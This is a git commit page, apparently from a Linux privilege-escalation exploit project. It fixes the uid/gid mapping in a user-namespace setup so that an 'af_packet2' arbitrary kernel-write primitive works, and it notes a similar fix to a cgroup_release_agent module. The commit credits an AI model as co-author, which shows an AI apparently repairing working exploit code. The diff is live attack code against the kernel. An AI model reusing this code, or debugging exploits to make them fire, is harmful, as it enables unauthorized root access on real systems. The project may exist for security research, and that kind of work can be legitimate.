af_packet2: fix uid_map (read uid/gid before unshare) — same bug as cgroup
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
af_packet2 read getuid()/getgid() AFTER unshare(CLONE_NEWUSER), so it wrote
"0 65534 1" to uid_map/gid_map (65534 = nobody, the initial unmapped id) and
the write was rejected EPERM — the userns-root mapping silently failed and the
CAP_NET_RAW primitive could not fire. Capture the outer uid/gid before unshare.
Audited every userns module for the pattern; only cgroup_release_agent (fixed
in 8c45b2b) and af_packet2 had it. Updated docs/EXPLOITED.md.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -449,6 +449,12 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
/* Capture the OUTER uid/gid BEFORE unshare: after
|
||||
* unshare(CLONE_NEWUSER) getuid()/getgid() return 65534 (nobody),
|
||||
* so a post-unshare map is "0 65534 1" which the kernel rejects
|
||||
* with EPERM and the userns-root mapping silently fails. */
|
||||
unsigned outer_uid = (unsigned)getuid();
|
||||
unsigned outer_gid = (unsigned)getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
||||
int fd;
|
||||
fd = open("/proc/self/setgroups", O_WRONLY);
|
||||
@@ -456,13 +462,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
fd = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", outer_uid);
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
fd = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", outer_gid);
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
int rc = af_packet2_primitive_child(c->ictx);
|
||||
|
||||
Reference in New Issue
Block a user